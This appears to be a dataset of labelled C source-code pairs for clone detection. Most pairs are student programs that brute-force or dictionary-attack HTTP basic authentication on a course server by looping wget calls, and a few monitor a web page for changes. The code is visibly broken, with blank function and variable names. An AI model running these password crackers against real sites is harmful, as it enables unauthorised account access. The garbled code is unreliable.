F1
stringlengths
5
5
F2
stringlengths
5
5
text_1
stringlengths
474
8.26k
text_2
stringlengths
474
8.26k
label
int64
0
1
076.c
054.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
076.c
021.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
076.c
030.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
076.c
044.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
076.c
051.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
076.c
066.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
076.c
026.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
076.c
067.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
076.c
024.c
